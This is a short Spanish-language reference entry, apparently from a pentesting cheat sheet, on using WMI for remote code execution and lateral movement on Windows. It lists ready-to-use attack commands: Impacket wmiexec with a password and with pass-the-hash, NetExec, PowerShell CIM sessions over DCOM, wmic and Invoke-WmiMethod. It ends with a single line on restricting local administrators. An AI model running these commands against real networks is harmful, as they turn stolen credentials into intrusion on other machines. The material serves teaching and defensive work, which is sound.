Qué es
WMI para ejecución y movimiento lateral abusa de la interfaz de administración de Windows para correr comandos en un equipo remoto. El atacante ya tiene credenciales de administrador local en el destino. Las convierte en ejecución de código en otra máquina, sin instalar herramientas ni abrir una sesión interactiva.
Cómo funciona
WMI es la interfaz de administración que trae Windows. Su clase Win32_Process tiene un método Create que lanza un proceso.
Con credenciales de administrador local en el destino, el atacante invoca ese método de forma remota sobre DCOM. El servicio WMI del equipo lanza el proceso bajo el contexto autenticado.
No escribe nada en disco ni registra un servicio nuevo: usa un componente firmado que ya corre en la máquina. Funciona aunque WinRM esté apagado.
La ejecución es ciega: devuelve un ID de proceso, no la salida. Por eso se lanza una carga que llama de vuelta.
Comandos
Ejecución remota con Impacket, autenticando con contraseña:
wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP> "<COMANDO>"Con pass-the-hash, sin contraseña:
wmiexec.py -hashes <HASH> <DOMAIN>/<USER>@<IP>Validar acceso y ejecutar con NetExec. Pwn3d! indica ejecución como admin:
nxc wmi <IP> -u <USER> -p <PASSWORD> -x "<COMANDO>"Desde Windows, sesión CIM moderna forzando el transporte DCOM:
$opt = New-CimSessionOption -Protocol Dcom
$sesion = New-CimSession -ComputerName <HOST> -Credential (Get-Credential) -SessionOption $opt
Invoke-CimMethod -CimSession $sesion -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="<COMANDO>"}Con el cliente heredado wmic:
wmic /node:<HOST> /user:<DOMAIN>\<USER> /password:<PASSWORD> process call create "<COMANDO>"Con el cmdlet obsoleto Invoke-WmiMethod:
Invoke-WmiMethod -ComputerName <HOST> -Class Win32_Process -Name Create -ArgumentList "<COMANDO>" -Credential (Get-Credential)Cómo defenderse
Limita y vigila la membresía de administradores locales: sin admin en el destino, WMI remoto no ejecuta.